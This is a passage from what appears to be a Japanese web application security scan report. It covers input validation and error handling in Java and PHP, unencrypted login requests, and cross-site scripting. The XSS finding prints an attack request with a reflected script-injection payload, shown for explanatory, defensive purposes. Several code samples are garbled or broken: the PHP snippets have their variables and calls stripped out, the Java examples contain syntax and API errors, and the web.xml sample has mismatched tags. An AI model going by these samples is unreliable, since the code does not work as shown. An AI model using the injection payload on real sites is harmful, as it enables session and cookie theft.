プロパティーの検証規則にマップするエラー・キーを定義することです。例えば「user_name」フィールドが必須フィールドであり、このフィールドには英数字を入力する必要があり、さらにデータベース内で他に同じ名前が存在してはならない場合は、次のようなエラー・キーを定義します。

(a) ERROR_USERNAME_REQUIRED:
このエラー・キーを使用すると、「user_name」フィールドが必須フィールドであることをユーザーに通知するメッセージが表示されます。
(b) ERROR_USERNAME_ALPHANUMERIC:
このエラー・キーを使用すると、「user_name」フィールドの値が英数字でなければならないことをユーザーに通知するメッセージが表示されます。
(c) ERROR_USERNAME_DUPLICATE:
このエラー・キーを使用すると、「user_name」の値がデータベース内で重複していることをユーザーに通知するメッセージが表示されます。
(d) ERROR_USERNAME_INVALID:
このエラー・キーを使用すると、「user_name」の値が無効であることをユーザーに通知する一般的なメッセージが表示されます。

効果的な方法は、アプリケーション・エラーを格納および報告するために使用する、次のようなフレームワーク Java クラスを定義することです。
- ErrorKeys: すべてのエラー・キーを定義します。

```
// Example: ErrorKeys defining the following error keys:
//    - ERROR_USERNAME_REQUIRED
//    - ERROR_USERNAME_ALPHANUMERIC
//    - ERROR_USERNAME_DUPLICATE
//    - ERROR_USERNAME_INVALID
//    ...
public Class ErrorKeys {
    public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
    public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
    public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
    public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
    ...
}
```

- Error: 個々のエラーをカプセル化します。

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {

    // Constructor given a specified error key
    public Error(String key) {
        this(key, null);
    }

    // Constructor given a specified error key and array of placeholder objects
    public Error(String key, Object[] values) {
        this.key = key;
        this.values = values;
    }

    // Returns the error key
    public String getKey() {
        return this.key;
    }

    // Returns the placeholder values
```

```
        public Object[] getValues() {
            return this.values;
        }

        private String key = null;
        private Object[] values = null;
    }
```

- Errors: エラーの集合をカプセル化します。

```
    // Example: Errors encapsulates the Error objects being reported to the presentation layer.
    // Errors are stored in a HashMap where the key is the bean property name and value is an
    // ArrayList of Error objects.
    public Class Errors implements Serializable {

        // Adds an Error object to the Collection of errors for the specified bean property.
        public void addError(String property, Error error) {
            ArrayList propertyErrors = (ArrayList)errors.get(property);
            if (propertyErrors == null) {
                propertyErrors = new ArrayList();
                errors.put(property, propertyErrors);
            }
            propertyErrors.put(error);
        }

        // Returns true if there are any errors
        public boolean hasErrors() {
            return (errors.size > 0);
        }

        // Returns the Errors for the specified property
        public ArrayList getErrors(String property) {
            return (ArrayList)errors.get(property);
        }

        private HashMap errors = new HashMap();
    }
```

次に、上記フレームワーク・クラスを使用して、「user_name」フィールドの検証エラーを処理する例を示します。

```
 // Example to process validation errors of the "user_name" field.
 Errors errors = new Errors();
 String userName = request.getParameter("user_name");
 // (a) Required validation rule
 if (!Validator.validateRequired(userName)) {
     errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
 } // (b) Alpha-numeric validation rule
 else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
     errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
 }
 else
 {
     // (c) Duplicate check validation rule
     // We assume that there is an existing UserValidationEJB session bean that implements
     // a checkIfDuplicate() method to verify if the user already exists in the database.
     try {
         ...
         if (UserValidationEJB.checkIfDuplicate(userName)) {
             errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
         }
     } catch (RemoteException e) {
         // log the error
         logger.error("Could not validate user for specified userName: " + userName);
         errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
     }
 }
 // set the errors object in a request attribute called "errors"
 request.setAttribute("errors", errors);
 ...
```

[2] エラーの報告: Web 層のアプリケーション・エラーを報告する方法は 2 つあります。
(a) Servlet エラー・メカニズム
(b) JSP エラー・メカニズム

[2-a] Servlet エラー・メカニズム:
Servlet は次の方法のいずれかでエラーを報告します。
- 入力 JSP へ転送する (すでにエラーを要求属性に格納している)
- HTTP エラー・コードを引数として response.sendError を呼び出す
- 例外をスローする

効果的な方法は、既知のアプリケーション・エラー (セクション [1] を参照) をすべて処理し、要求属性にそれらを格納し、入力 JSP に転送することです。入力 JSP はエラー・メッセージを表示して、ユーザーにデータを入力し直すように促す必要があります。 次に、入力 JSP (userInput.jsp) に転送する例を示します。

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
    rd.forward(request, response);
}
```

Servlet が既知の JSP ページに転送できない場合、2 番目の選択肢は、HttpServletResponse.SC_INTERNAL_SERVER_ERROR (状態コード 500) を引数として response.sendError メソッドを呼び出す方法です。 さまざまな HTTP
状態コードの詳細については、javax.servlet.http.HttpServletResponse の javadoc を参照してください。 次に、HTTP
エラーを返す例を示します。

```
// Example to return a HTTP error code
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd == null) {
    // messages is a resource bundle with all message keys and values
    response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
                       messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
}
```

最後の手段として、Servlet は例外をスローすることができます。この例外は、次のクラスのうちの 1 つのサブクラスである必要があります。
- RuntimeException
- ServletException
- IOException

[2-b] JSP エラー・メカニズム: JSP ページには、次の例のように errorPage ディレクティブを定義して、実行時例外を処理する機能があります。

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

エラー・トラップできない JSP の例外は指定された errorPage に転送され、オリジナルの例外は javax.servlet.jsp.jspException
と呼ばれる要求パラメーターとして設定されます。 エラー・ページは、次のように isErrorPage ディレクティブを含む必要があります。

```
<%@ page isErrorPage="true" %>
```

isErrorPage ディレクティブが指定されると、「exception」変数はスローされる例外オブジェクトに初期化されます。

[3] エラーのレンダリング: J2SE Internationalization API
は、アプリケーション・リソースを外部化し、メッセージをフォーマットする次のようなユーティリティー・クラスを提供します。

(a) リソース・バンドル
(b) メッセージ・フォーマット

[3-a] リソース・バンドル:
リソース・バンドルは、ローカライズされたデータとそれを使用するソース・コードを分離することによって国際化対応をサポートします。各リソース・バンドルは、特定のロケールに対するキーと値のペアのマッピングを格納しています。

通常は java.util.PropertyResourceBundle を使用または拡張して、外部プロパティー・ファイルにコンテンツを格納します。次に例を示します。

```
################################################
# ErrorMessages.properties
################################################
# required user name error message
error.username.required=User name field is required

# invalid user name format
error.username.alphanumeric=User name must be alphanumeric

# duplicate user name error message
error.username.duplicate=User name {0} already exists, please choose another one

...
```

異なるロケールをサポートするために、複数のリソースを定義できます
(これが「リソース・バンドル」という名前の由来)。例えば、バンドル・ファミリーのフランス語をサポートするために ErrorMessages_fr.properties
を定義できます。 要求されたロケールのリソースが存在しない場合は、デフォルトのメンバーが使用されます。
上記例では、デフォルトのリソースは ErrorMessages.properties です。 アプリケーション (JSP または Servlet)
はユーザーのロケールに従って適切なリソースからコンテンツを取得します。

[3-b] メッセージ・フォーマット: J2SE 標準クラス java.util.MessageFormat
は、置換プレースホルダー付きのメッセージを作成する一般的な方法です。MessageFormat
オブジェクトは、次のような書式指示子が埋め込まれたパターン文字列を持っています。

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

次に、より理解しやすい例として、ResourceBundle と MessageFormat を使用してエラー・メッセージを表示する例を示します。

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {
```

```
    // Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
        return getErrorMessage(errorKey, defaultLocale);
    }

    // Returns the error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Locale locale) {
        return getErrorMessage(errorKey, null, locale);
    }

    // Returns a formatted error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
        // Get localized ErrorMessageResource
        ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
        // Get localized error message
        String errorMessage = errorMessageResource.getString(errorKey);
        if (args != null) {
            // Format the message using the specified placeholders args
            return MessageFormat.format(errorMessage, args);
        } else {
            return errorMessage;
        }
    }

    // default environment locale
    private Locale defaultLocale = Locale.getDefaultLocale();
}
...
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors)request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
    // iterate through errors and output error messages corresponding to the "user_name" property
    ArrayList userNameErrors = errors.getErrors("user_name");
    ListIterator iterator = userNameErrors.iterator();
    while (iterator.hasNext()) {
        // Get the next error object
        Error error = (Error)iterator.next();
        String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
        output.write(errorMessage + "¥r¥n");
    }
}
```

上記例のようにエラー・メッセージを何度も表示する場合は、独自の JSP タグ (displayErrors 等) を定義することが推奨されます。

[4] エラーのマッピング: 通常 Servlet Containerは、応答状態コードまたは例外のどちらかに対応するデフォルトのエラー・ページを返します。状態コードまたは例外と Web リソースとのマッピングは、カスタム・エラー・ページを使用して指定できます。
効果的な方法は、内部のエラーの状態を公開しない静的なエラー・ページを開発することです (デフォルトでは、ほとんどの Servlet コンテナーは内部エラー・メッセージを報告します)。このマッピングは、次の例のように、Web Deployment Descriptor (web.xml) で設定されます。

```
<!-- Mapping of HTTP error codes and application exceptions to error pages -->
<error-page>
  <exception-type>UserValidationException</exception-type>
  <location>/errors/validationError.html</error-page>
</error-page>
<error-page>
  <error-code>500</exception-type>
  <location>/errors/internalError.html</error-page>
</error-page>
<error-page>
...
</error-page>
...
```

推奨される JAVA ツール: サーバー側で検証を行う Java フレームワークは主に次の 2 つです。
[1] Jakarta Commons Validator (Struts 1.1 と統合)
Jakarta Commons Validator は、上記のようなエラー処理メカニズムを定義する Java フレームワークです。検証規則は、フォーム・フィールドの入力検証規則とそれに対応する検証エラー・キーを定義する XML ファイルとして設定されます。 Struts は、リソース・バンドルとメッセージ・フォーマットを使用してローカライズ・アプリケーションを構築するための国際化対応をサポートします。

次に、Struts Validator を使用して、loginForm の userName フィールドを検証する例を示します。

```
<form-validation>
    <global>
        ...
        <validator name="required"
            classname="org.apache.struts.validator.FieldChecks"
            method="validateRequired"
            msg="errors.required">
        </validator>
```

```
        <validator name="mask"
           classname="org.apache.struts.validator.FieldChecks"
           method="validateMask"
           msg="errors.invalid">
        </validator>
        ...
    </global>
    <formset>
        <form name="loginForm">
            <!-- userName is required and is alpha-numeric case insensitive -->
            <field property="userName" depends="required,mask">
                <!-- message resource key to display if validation fails -->
                <msg name="mask" key="login.userName.maskmsg"/>
                <arg0 key="login.userName.displayname"/>
                <var>
                    <var-name>mask</var-name>
                    <var-value>^[a-zA-Z0-9]*$</var-value>
                </var>
            </field>
        ...
        </form>
        ...
    </formset>
</form-validation>
```

次の例に示すように、Struts JSP タグ・ライブラリーは、格納されたエラー・メッセージを条件付きで表示する「errors」タグを定義します。

```
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
    <html:form action="/logon.do">
    <table border="0" width="100%">
    <tr>
        <th align="right">
            <html:errors property="username"/>
            <bean:message key="prompt.username"/>
        </th>
        <td align="left">
            <html:text property="username" size="16"/>
        </td>
    </tr>
    <tr>
    <td align="right">
        <html:submit><bean:message key="button.submit"/></html:submit>
    </td>
    <td align="right">
        <html:reset><bean:message key="button.reset"/></html:reset>
    </td>
    </tr>
    </table>
    </html:form>
</body>
</html:html>
```

[2] JavaServer Faces Technology: JavaServer Faces Technology は、UI
コンポーネントの表現、各コンポーネントの状態の管理、イベントの処理、入力の検証、および国際化対応のサポートを行う、一連の Java API (JSR 127) です。

JavaServer Faces API は「output_errors」という UIOutput Renderer
を定義します。それはページ全体のエラー・メッセージまたは指定されたクライアント識別子に関連するエラー・メッセージを表示します。

次に、JavaServer Faces を使用して、loginForm の userName フィールドを検証する例を示します。

```
<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
...
<jsp:useBean id="UserBean"
    class="myApplication.UserBean" scope="session" />
<f:use_faces>
  <h:form formName="loginForm" >
    <h:input_text id="userName" size="20" modelReference="UserBean.userName">
        <f:validate_required/>
        <f:validate_length minimum="8" maximum="20"/>
    </h:input_text>
    <!-- display errors if present -->
    <h:output_errors id="loginErrors" clientId="userName"/>
    <h:command_button id="submit" label="Submit" commandName="submit" /><p>
  </h:form>
</f:use_faces>
```

参照リンク:
Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/
Java API 1.4 -
http://java.sun.com/j2se/1.4/docs/api/
Java Servlet API 2.3 -
http://java.sun.com/products/servlet/2.3/javadoc/
Java Regular Expression Package -
http://jakarta.apache.org/regexp/
Jakarta Validator -
http://jakarta.apache.org/commons/validator/
JavaServer Faces Technology -
http://java.sun.com/j2ee/javaserverfaces/

## 推奨される修正 - PHP

** ユーザー入力のフィルタリング

データを SQL
クエリーに渡す前に、ホワイトリストを使用する技法で適切にフィルタリングします。これはきわめて重要です。ユーザーの入力をフィルタリングすることにより、インジェクションの原因となる欠陥を、データベースに影響がおよぶ前に修正することができます。

** ユーザー入力を引用符で囲む

データのタイプにかかわらず、すべてのユーザー・データを単一引用符で囲むことが効果的です
(データベースで許可されている場合)。MySQL では、この書式を使用することができます。

** データ値のエスケープ

MySQL 4.3.0 以降を使用している場合は、すべての文字列を mysql_real_escape_string() でエスケープします。 以前のバージョンの MySQL を使用している場合には、mysql_escape_string() 関数を使用します。 MySQL
を使用していない場合には、使用しているデータベースの所定のエスケープ関数を使用することができます。
エスケープ関数がわからない場合には、addslashes() などの、より一般的なエスケープ関数を使用します。

PEAR DB データベース抽出レイヤーを使用している場合には、DB::quote() メソッドを使用するか、?
などのクエリー・プレースホルダーを使用します。この方法では、プレースホルダーを置き換える値を自動的にエスケープします。

参照リンク

http://ca3.php.net/mysql_real_escape_string

http://ca.php.net/mysql_escape_string

http://ca.php.net/addslashes

http://pear.php.net/package-info.php?package=DB

** 入力データの検証

データ検証は、ユーザーの利便性のためにクライアント層で行うこともできますが、必ずサーバー層で行う必要があります。クライアント側のデータ検証は、例えば Javascript を無効にすることによって簡単にバイパスできるため、本質的に安全ではありません。

一般的には、次の項目を検証するサーバー側ユーティリティー・ルーチンを提供する Web アプリケーション・フレームワークが理想とされます。
[1] 必須フィールド
[2] フィールドのデータ型 (デフォルトでは、HTTP 要求パラメーターはすべて String)
[3] フィールドの長さ
[4] フィールドの範囲
[5] フィールドのオプション
[6] フィールドのパターン
[7] Cookie の値
[8] HTTP 応答

効果的な方法は、各アプリケーション・パラメーターを検証する関数を実装することです。以下のセクションでは、チェックの例について示しています。

[1] 必須フィールド
常に、フィールドが Null でなく、前後の空白スペースを除いて、その長さがゼロより大きいことをチェックします。
次に、要求されたフィールドを検証する例を示します。

```
  // PHP example to validate required fields
input) {
      …
ass = false;
input))>0){
ass = true;
      }
ass;
      …
  }
  …
fieldName)) {
      // fieldName is valid, continue processing request
      …
  }
```

[2] フィールドのデータ型: Web アプリケーションでは、入力パラメーターの型は多くありません。例えば、HTTP 要求パラメーターや Cookie の値はすべて String 型です。 開発者は入力のデータ型が正しいかどうかを確認する必要があります。

[3] フィールドの長さ: 常に、入力パラメーター (HTTP 要求パラメーターまたは Cookie 値のどちらか) の長さが最小値から最大値までの間であることを確認します。

[4] フィールドの範囲: 常に、入力パラメーターが関数の要件で定義された範囲内であることを確認します。

[5] フィールドのオプション: 多くの場合 Web アプリケーションはユーザーに対して一連のオプションを提示して、ユーザーにそのいずれかを選択するよう促しますが (例えば SELECT HTML タグを使用するなどして)、選択された値が使用可能なオプションのいずれかであるかどうかをサーバー側で検証を実行して確認することはできません。悪意のあるユーザーが任意のオプションの値を簡単に変更できることに注意してください。選択されたユーザーの値が、関数の仕様で定義されている許可されたオプションであることを必ず検証してください。

[6] フィールドのパターン:
関数の仕様で定義されるように、ユーザーの入力がパターンに一致していることを常にチェックしてください。例えば、userName フィールドが大文字小文字を区別せずに英数字のみ許可している場合、次の正規表現を使用します:
^[a-zA-Z0-9]+$

[7] Cookie の値: アプリケーションの仕様に応じて、(上記と) 同じ検証規則 (要求された値の検証や長さの検証など) が Cookie の値にも適用されます。

[8] HTTP 応答

[8-1] ユーザー入力のフィルタリング:
クロスサイト・スクリプティングからアプリケーションを保護するには、開発者が、危険な文字を対応する文字エンティティーに変換して HTML をサニタイズする必要があります。HTML で危険な文字は次のとおりです。
< > " ' % ; ) ( & +

PHP には、htmlentities() などの自動サニタイズ・ユーティリティー関数がいくつかあります。

```
$input = htmlentities($input, ENT_QUOTES, UTF-8);
```

さらに、クロスサイト・スクリプティングの UTF-7 バリアントを防止するために、明示的に応答の Content-Type ヘッダーを定義します。以下の例を参照してください。

```
<?php

header('Content-Type: text/html; charset=UTF-8');

?>
```

[8-2] Cookie のセキュリティー保護

秘密データを Cookie に格納して SSL を介して転送するときには、まず HTTP 応答に Cookie のセキュリティー・フラグを設定します。これによって、SSL 接続ではこの Cookie のみを使用するようにブラウザーに指示します。

Cookie のセキュリティーを保つ方法については、以下のコード例を使用することができます。

```
<$php

value = "some_value";
time = time()+3600;
ath = "/application/";
domain = ".example.com";
secure = 1;

secure, TRUE);
?>
```

さらに、HttpOnly フラグを使用することをお勧めします。HttpOnly フラグが TRUE に設定されているとき、Cookie は HTTP プロトコルでのみアクセスできるようになっています。つまり、この Cookie は JavaScript のようなスクリプト言語ではアクセスできなくなります。この設定によって、XSS 攻撃による ID の盗用を効果的に減殺することができます (ただしすべてのブラウザーがサポートしている訳ではありません)。

HttpOnly フラグは PHP 5.2.0 で追加されました。

参照リンク:

[1] HTTP-only Cookies によるクロスサイト・スクリプティングの防止:
http://msdn2.microsoft.com/en-us/library/ms533046.aspx
[2] PHP セキュリティー・コンソーシアム:
http://phpsec.org/
[3] PHP & Web アプリケーション・セキュリティー・ブログ (Chris Shiflett):
http://shiflett.org/

## 参考資料と関連リンク

「Web Application Disassembly with ODBC Error Messages」(著者: David Litchfield)
SQL インジェクション研修モジュール

# 暗号化されていないログイン要求

## アプリケーション

## WASC 脅威の分類

不十分なトランスポート層防御
http://projects.webappsec.org/Insufficient-Transport-Layer-Protection

## セキュリティー・リスク

暗号化されずに送信されているユーザー名やパスワードなどのユーザー・ログイン情報を盗み出せる可能性があります

## 考えられる原因

ユーザー名、パスワードおよびクレジット・カード番号などの秘密情報のインプット・フィールドが、暗号化されずに渡されています

## 技術的な説明

アプリケーション・テスト時に、暗号化されていないログイン要求がサーバーに送信されたことが検出されました。ログイン・プロセスに使用されている一部のインプット・フィールド (ユーザー名、パスワード、電子メール・アドレス、社会保障番号など)
は、機密性の高い個人情報であるため、暗号化接続 (SSL など) を介してサーバーに送信することが推奨されています。
クリア・テキストでサーバーに送信された情報は盗まれる可能性があり、後で ID の盗用やユーザーのなりすましに利用される場合があります。

また各種のプライバシー規制法により、
ユーザー認証情報などの機密情報は必ず暗号化した状態で Web サイトに送信することが
規定されています。

## 推奨される修正 - 全般

1. ログイン要求を送信する場合は、必ず暗号化してください。
2. 機密情報には、以下のようなものがあります。
- ユーザー名
- パスワード
- 社会保障番号
- クレジット・カード番号
- 免許証番号
- 電子メール・アドレス
- 電話番号
- 郵便番号

これらの情報をサーバーに送信する場合は、必ず暗号化してください。

## 参考資料と関連リンク

Financial Privacy: The Gramm-Leach Bliley Act
医療保険の相互運用性と説明責任に関する法律 (HIPAA)
サーベンス・オクスリー法
California SB1386

# クロスサイト・スクリプティング

## アプリケーション

## WASC 脅威の分類

クロスサイト・スクリプティング
http://projects.webappsec.org/Cross-Site+Scripting

## セキュリティー・リスク

ハッカーが正規のユーザーになりすまし、ユーザーのレコードを表示または改変したり、ユーザーとしてトランザクションを実行するのに使用することができる、カスタマー・セッションおよび Cookie を盗み出したり操作することができる可能性があります

## 考えられる原因

ユーザーの入力において、有害文字の除去が適切に行われませんでした

## 技術的な説明

ユーザー制御可能な入力が、Web ページとして使用される出力に組み込まれる前にアプリケーションによって正しく無効化されていないことが AppScan で検出されました。
これは、クロスサイト・スクリプティング攻撃に利用されるおそれがあります。
クロスサイト・スクリプティング (XSS) の脆弱性は、以下の状況で発生します。
[1] 信頼されないデータが Web アプリケーションに取り込まれる (通常は Web 要求から)。
[2] 信頼されないデータが含まれた Web ページが Web アプリケーションから動的に生成される。
[3] ページ生成時に、Web ブラウザーで実行できるコンテンツ (JavaScript、HTML タグ、HTML 属性、マウス・イベント、Flash、ActiveX など) がデータに組み込まれることがアプリケーション側で阻止されない。
[4] 被攻撃者が、生成された Web ページ (信頼されないデータを使用してインジェクションされた悪質なスクリプトを含む) に Web ブラウザーからアクセスする。
[5] スクリプトが、Web サーバーから送られてきた Web ページに由来するスクリプトであるため、被攻撃者の Web ブラウザーによって、Web サーバーのドメインのコンテキストで悪質なスクリプトが実行される。
[6] 事実上、Web ブラウザーの同一生成元ポリシー
(あるドメイン内のスクリプトが別のドメインにおいてリソースにアクセスしたりコードを実行したりできてはならないことが述べられている) の趣旨に対する違反がある。
悪質なスクリプトがインジェクションされると、攻撃者は多くの悪質なアクティビティーを実行できるようになります。
攻撃者は、セッション情報が含まれていると考えられる Cookie など、私的情報を被攻撃者のマシンから自分の手元に転送できます。
攻撃者は、被攻撃者になりすまして悪質な要求を Web サイトに送信できます
(このような状況は、そのサイトを管理する管理者特権が被攻撃者にある場合に、そのサイトにとって特に危険となる可能性があります)。
攻撃者はフィッシング攻撃を使用して、信頼されている Web サイトを模倣し、被攻撃者を騙してパスワードを入力させることができます。
そうすることで、攻撃者は本物の Web サイト上で被攻撃者のアカウントを悪用できるようになります。
さらに、スクリプトによって Web ブラウザー自体の脆弱性が悪用される場合もあります。
場合によっては、被攻撃者のマシンが乗っ取られることもあります (これは「ドライブ・バイ・ハッキング」と呼ばれることがあります)。

XSS には大きく分けて 3 つのタイプがあります。

タイプ 1: 折り返し型 XSS (「非持続型」とも呼ばれる)
サーバーは HTTP 要求から直接、データを読み取り、HTTP 応答にそのデータを反映します。
折り返し型 XSS 攻撃の場合、攻撃者は被攻撃者が脆弱な Web アプリケーションへ危険なコンテンツを送るように仕向けます。
その後、そのコンテンツが被攻撃者に折り返されて、Web ブラウザーで実行されます。
悪質なコンテンツを送信するメカニズムとして最も一般的なものは、公式に掲示された URL に悪質なコンテンツをパラメーターとして組み込んだり、
被攻撃者に直接、電子メールを送信したりする方法です。
この方法で構成された URL は、多くのフィッシング・スキームの根幹を成すものです。
これによって、攻撃者は、脆弱なサイトを指す URL にアクセスするように被攻撃者を誘導します。
攻撃者のコンテンツがサイトから被攻撃者に折り返されると、そのコンテンツが被攻撃者のブラウザーで実行されます。

タイプ 2: 蓄積型 XSS (「持続型」とも呼ばれる)
アプリケーションが、データベース、メッセージ・フォーラム、訪問者のログ、または信頼される他のデータ・ストアに、危険なデータを格納します。
次に、危険なデータがアプリケーションに読み込まれ、動的なコンテンツに組み込まれます。
攻撃者の観点から言えば、悪質なコンテンツをインジェクションする最適な場所は、多くのユーザー、または特に攻撃者の興味を引くユーザーに表示される場所の中です。
通常、攻撃者の興味を引くユーザーとは、アプリケーションにおいて高い特権を持つユーザー、すなわち攻撃者にとって価値のある機密データを扱うユーザーのことです。
このようなユーザーの 1 人が悪質なコンテンツを実行した場合、攻撃者は、このユーザーになりすまして特権操作を実行したり、
このユーザーが扱う機密データに対するアクセス権限を入手したりできるようになる可能性があります。
例えば、攻撃者がログ・メッセージに XSS をインジェクションしたとします。
その場合、管理者がログを表示したときに、ログ・メッセージが正しく処理されない可能性があります。

タイプ 0: DOM ベース XSS
DOM ベース XSS の場合、XSS をページにインジェクションする処理はクライアント側で行われます。
一方、他のタイプの場合、インジェクションはサーバー側で行われます。
通常、DOM ベース XSS では、サーバーで制御され、クライアントに送信される、信頼されるスクリプト (Javascript など) が使用されます。
このスクリプトは、ユーザーがフォームを送信する前にフォームに対してサニティー・チェックを実行するスクリプトです。
サーバーにあるスクリプトにより、ユーザー指定のデータが
処理されて Web ページに (動的 HTML を使用するなどして) インジェクションされると、DOM ベース XSS が使用可能になります。

以下の例は、応答でパラメーター値を返すスクリプトを示したものです。
このパラメーター値は GET 要求を使用してスクリプトに送信され、HTML に埋め込まれた応答で返されます。

```
[REQUEST]
GET /index.aspx?name=JSmith HTTP/1.1
```

[RESPONSE]
HTTP/1.1 200 OK
Server: SomeServer
Date: Sun, 01 Jan 2002 00:31:19 GMT
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 27

<HTML>
Hello JSmith
</HTML>
攻撃者がさらに攻撃を強める可能性があります。
[ATTACK REQUEST]
GET /index.aspx?name=>"'><script>alert('PWND')</script> HTTP/1.1

[ATTACK RESPONSE]
HTTP/1.1 200 OK
Server: SomeServer
Date: Sun, 01 Jan 2002 00:31:19 GMT
Content-Type: text/html
Accept-Ranges: bytes
Content-Length: 83

<HTML>
Hello >"'><script>alert('PWND')</script>
</HTML>

この場合、JavaScript コードがブラウザーで実行されます (>"'> の部分は、ここでは無関係です)。

## 推奨される修正 - 全般

いくつかの防止方法があります。

[1] 戦略: ライブラリーまたはフレームワーク
-
ライブラリーやフレームワークを十分に検査し、このような弱点を発生させないようにするか、または発生しても簡単に回避できるような構成にしてください。
正しくエンコードされた出力を生成しやすくするライブラリーやフレームワークとしては、例えば、Microsoft の Anti-XSS Library、OWASP ESAPI Encoding モジュール、Apache Wicket などがあります。

[2] データが使用されるコンテキスト、および必要なエンコードを理解してください。
- これは、異なるコンポーネント間でデータを送信する場合、または Web
ページやマルチパート・メール・メッセージなど、複数のエンコードを同時に組み込むことができる出力を生成する場合に、特に重要です。必要となるエンコード方法を判別するには、必要なすべての通信プロトコルおよびデータ表現を調べます。
別の Web ページに出力されるデータ (特に、外部入力から受信されたデータ)
に関しては、すべての非英数字で適切なエンコードを使用してください。
同一出力文書の各所で別々のエンコードが必要になることがあります。これは、出力が以下のいずれの箇所に組み込まれているのかによって異なります。
[-] HTML 本文
[-] 要素属性 (src="XYZ" など)
[-] URI
[-] JavaScript セクション
[-] カスケーディング・スタイル・シートおよびスタイル・プロパティー
HTML エンティティー・エンコードは HTML 本文にのみ適していることに注意してください。
必要なエンコードおよびエスケープのタイプについて詳しくは、XSS Prevention Cheat Sheet (
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)
を参照してください。

[3] 戦略: 攻撃対象領域の特定および縮小
- 信頼されない入力がソフトウェアに入り込む可能性のある潜在的な領域をすべて把握してください。
このような領域としては、パラメーター/引数、Cookie、ネットワークから読み取られる任意の項目、環境変数、DNS の逆引き、クエリー結果、要求ヘッダー、URL コンポーネント、電子メール、ファイル、ファイル名、データベース、
アプリケーションにデータを渡す任意の外部システムがあります。
このような入力は、API コールによって間接的に取り込まれる可能性がありますのでご注意ください。

[4] 戦略: 出力エンコード
- 生成される Web ページごとに、ISO-8859-1 や UTF-8 などの文字エンコードを使用および指定してください。
エンコードが指定されていない場合、Web ブラウザーは、Web
ページで実際に使用されているエンコードを推測して、異なるエンコードを選択することがあります。
これにより、Web ブラウザーで特定のシーケンスが特殊なシーケンスとして扱われ、クライアントが巧妙な XSS
攻撃にさらされるおそれがあります。
エンコード/エスケープに関する他の防止方法については、CWE-116 を参照してください。

[5] 戦略: 攻撃対象領域の特定および縮小
- ユーザーのセッション Cookie に対する XSS 攻撃を防止できるように、セッション Cookie を HttpOnly に設定してください。
HttpOnly 属性をサポートするブラウザー (最新バージョンの Internet Explorer や Firefox など) では、HttpOnly
属性によって、document.cookie を
使用する悪質なクライアント・サイド・スクリプトがユーザーのセッション Cookie にアクセスできなくなります。
ただし HttpOnly はすべてのブラウザーでサポートされているわけではないため、これは完全なソリューションではありません。
さらに HTTP ヘッダー (Set-Cookie ヘッダーを含む) に HttpOnly フラグが設定されていても、XMLHTTPRequest
やその他の強力なブラウザー・テクノロジーではそのようなヘッダーに対しても読み取りアクセスを実行することができます。

[6] 戦略: 入力検証

－すべての入力に悪意があると見なしてください。「既知の有効なデータを受け入れる」入力検証方法
(仕様に正確に適合する受け入れ可能な入力のホワイトリスト)
を使用してください。仕様に正確に適合しない入力はすべて拒否してください。あるいは、そのような入力を、仕様に正確に適合する入力に変換してください。悪質な入力や誤った形式の入力が登録されたブラックリストを過信しないようにしてください。ただし潜在的な攻撃の検出や、全面的に拒否すべき誤った形式の入力の判別には、ブラックリストは役立つことがあります。
入力検証を実行する際は、関連すると思われるすべてのプロパティー
(入力の長さ、入力のタイプ、許容される値の完全な範囲、入力の欠落または余分な入力、構文、すべての関連フィールドにおける整合性、ビジネス・ルールへの適合など)
を考慮してください。ビジネス・ルール・ロジックの一例を挙げると、「boat」は、英数字のみが含まれているため構文的には有効ですが、「赤」や「青」などの色が必要な場合には有効ではありません。Web
ページを動的に構成するときは、要求内で必要なパラメーター値に基づいて文字セットを制限する厳格なホワイトリストを使用してください。すべての入力を検証およびクレンジングする必要があります。ユーザーが指定することになるパラメーターだけでなく、要求に含まれるデータ
(隠しフィールド、Cookie、ヘッダー、URL 自体を含む)
もすべて対象となります。サイトで再表示される予定のフィールドのみを検証するケースが多いようですが、これでは XSS
